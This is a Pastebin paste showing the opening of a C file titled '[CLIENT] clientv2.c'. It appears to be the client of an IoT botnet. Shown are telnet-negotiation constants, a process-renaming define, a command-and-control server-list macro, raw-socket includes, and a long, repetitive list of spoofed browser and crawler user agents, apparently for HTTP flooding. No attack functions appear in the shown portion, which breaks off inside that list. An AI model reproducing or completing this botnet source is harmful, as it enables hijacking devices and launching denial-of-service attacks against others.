Advertisement
Indrops

[CLIENT] clientv2.c

Dec 13th, 2017
224
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 99.45 KB | None | 0 0
  1. /*
  2. _____.___. .__
  3. \__ | |__ __| |__
  4. / | | | \ | \
  5. \____ | | / Y \
  6. / ______|____/|___| /
  7. \/ \/
  8.  
  9.  
  10. */
  11. #define PHI 0x9e3779b9
  12. #define PR_SET_NAME 15
  13. #define SERVER_LIST_SIZE (sizeof(YuhsServer) / sizeof(unsigned char *))
  14. #define PAD_RIGHT 1
  15. #define PAD_ZERO 2
  16. #define PRINT_BUF_LEN 12
  17. #define CMD_IAC 255
  18. #define CMD_WILL 251
  19. #define CMD_WONT 252
  20. #define CMD_DO 253
  21. #define CMD_DONT 254
  22. #define OPT_SGA 3
  23. #define STD2_SIZE 65
  24. #define BUFFER_SIZE 1024
  25. //#define PRINTS_ENABLED
  26. #include <stdlib.h>
  27. #include <stdarg.h>
  28. #include <stdio.h>
  29. #include <sys/socket.h>
  30. #include <sys/types.h>
  31. #include <netinet/in.h>
  32. #include <arpa/inet.h>
  33. #include <netdb.h>
  34. #include <signal.h>
  35. #include <strings.h>
  36. #include <string.h>
  37. #include <sys/utsname.h>
  38. #include <unistd.h>
  39. #include <fcntl.h>
  40. #include <errno.h>
  41. #include <netinet/ip.h>
  42. #include <netinet/udp.h>
  43. #include <netinet/tcp.h>
  44. #include <sys/wait.h>
  45. #include <sys/ioctl.h>
  46. #include <net/if.h>
  47.  
  48. const char *UserAgents[] = {
  49. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  50. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  51. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  52. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  53. "Opera/6.04 (Windows XP; U) [en]",
  54. "Opera/9.99 (X11; U; sk)",
  55. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  56. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  57. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  58. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  59. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  60. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  61. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  62. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  63. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  64. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  65. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  66. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  67. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  68. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  69. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  70. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  71. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  72. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  73. "wii libnup/1.0",
  74. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  75. "PSP (PlayStation Portable); 2.00",
  76. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  77. "Doris/1.15 [en] (Symbian)",
  78. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  79. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  80. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  81. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  82. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  83. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  84. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  85. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  86. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  87. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  88. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  89. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  90. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  91. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  92. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  93. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  94. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  95. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  96. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  97. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  98. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  99. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  100. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  101. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  102. "Opera/6.04 (Windows XP; U) [en]",
  103. "Opera/9.99 (X11; U; sk)",
  104. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  105. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  106. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  107. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  108. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  109. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  110. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  111. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  112. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  113. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 "
  114. "Firefox/3.5.3",
  115. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 "
  116. "Firefox/3.5.3 (.NET CLR 3.5.30729)",
  117. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) "
  118. "Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  119. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) "
  120. "Gecko/20090718 Firefox/3.5.1",
  121. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 "
  122. "(KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  123. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; "
  124. "SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  125. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; "
  126. ".NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR "
  127. "3.0.30729)",
  128. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; "
  129. "Trident/4.0)",
  130. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; "
  131. ".NET CLR 2.0.50727; InfoPath.2)",
  132. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  133. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  134. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  135. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) "
  136. "Chrome/41.0.2228.0 Safari/537.36",
  137. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  138. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 "
  139. "Version/12.16",
  140. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like "
  141. "Gecko",
  142. "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) "
  143. "like Gecko",
  144. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 "
  145. "(KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"
  146. "Baiduspider+(+http://www.baidu.com/search/spider.htm)",
  147. "Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  148. "Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  149. "Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0; http://www.beslist.nl/",
  150. "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",
  151. "zspider/0.9-dev http://feedback.redkolibri.com/",
  152. "Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  153. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  154. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)",
  155. "Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  156. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  157. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  158. "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )",
  159. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)",
  160. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)",
  161. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)",
  162. "TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)",
  163. "TheSuBot/0.2 (www.thesubot.de)",
  164. "TheSuBot/0.1 (www.thesubot.de)",
  165. "FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  166. "FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  167. "FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  168. "FAST-WebCrawler/3.6/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  169. "FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  170. "FAST-WebCrawler/3.x Multimedia",
  171. "Mozilla/4.0 (compatible: FDSE robot)",
  172. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  173. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  174. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  175. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  176. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  177. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  178. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  179. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  180. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  181. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  182. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  183. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  184. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  185. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  186. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  187. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  188. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  189. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  190. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  191. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  192. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  193. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  194. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  195. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  196. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  197. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  198. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  199. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  200. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  201. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  202. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  203. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  204. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  205. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)",
  206. "MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html)",
  207. "Moreoverbot/5.1 ( http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0",
  208. "Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com)",
  209. "msnbot/1.0 (+http://search.msn.com/msnbot.htm)",
  210. "msnbot/0.9 (+http://search.msn.com/msnbot.htm)",
  211. "msnbot/0.11 ( http://search.msn.com/msnbot.htm)",
  212. "MSNBOT/0.1 (http://search.msn.com/msnbot.htm)",
  213. "Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)",
  214. "Mozilla/5.0 (compatible; mxbot/1.0; http://www.chainn.com/mxbot.html)",
  215. "NetResearchServer/4.0(loopimprovements.com/robot.html)",
  216. "NetResearchServer/3.5(loopimprovements.com/robot.html)",
  217. "NetResearchServer/2.8(loopimprovements.com/robot.html)",
  218. "NetResearchServer/2.7(loopimprovements.com/robot.html)",
  219. "NetResearchServer/2.5(loopimprovements.com/robot.html)",
  220. "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)",
  221. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)",
  222. "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)",
  223. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  224. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  225. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET ",
  226. "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
  227. "Opera/9.20 (Windows NT 6.0; U; en)",
  228. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  229. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  230. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  231. "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  232. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)",
  233. "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  234. "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)",
  235. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  236. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  237. "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  238. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  239. "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  240. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.3.0.0",
  241. "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  242. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
  243. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  244. "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  245. "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  246. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  247. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  248. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6",
  249. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0",
  250. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  251. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  252. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  253. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  254. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  255. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  256. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  257. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  258. "wii libnup/1.0",
  259. "PSP (PlayStation Portable); 2.00",
  260. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  261. "Doris/1.15 [en] (Symbian)",
  262. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  263. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  264. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  265. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  266. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  267. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  268. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  269. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  270. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  271. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  272. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  273. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  274. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  275. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  276. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  277. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  278. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  279. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  280. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  281. "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  282. "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  283. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  284. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  285. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  286. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
  287. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  288. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  289. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  290. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  291. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  292. "Opera/6.04 (Windows XP; U) [en]",
  293. "Opera/9.99 (X11; U; sk)",
  294. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  295. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  296. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  297. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  298. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  299. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  300. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  301. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  302. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  303. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  304. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  305. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  306. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  307. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  308. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  309. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  310. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  311. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  312. "wii libnup/1.0",
  313. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  314. "PSP (PlayStation Portable); 2.00",
  315. "Gigabot/3.0 (http://www.gigablast.com/spider.html)",
  316. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
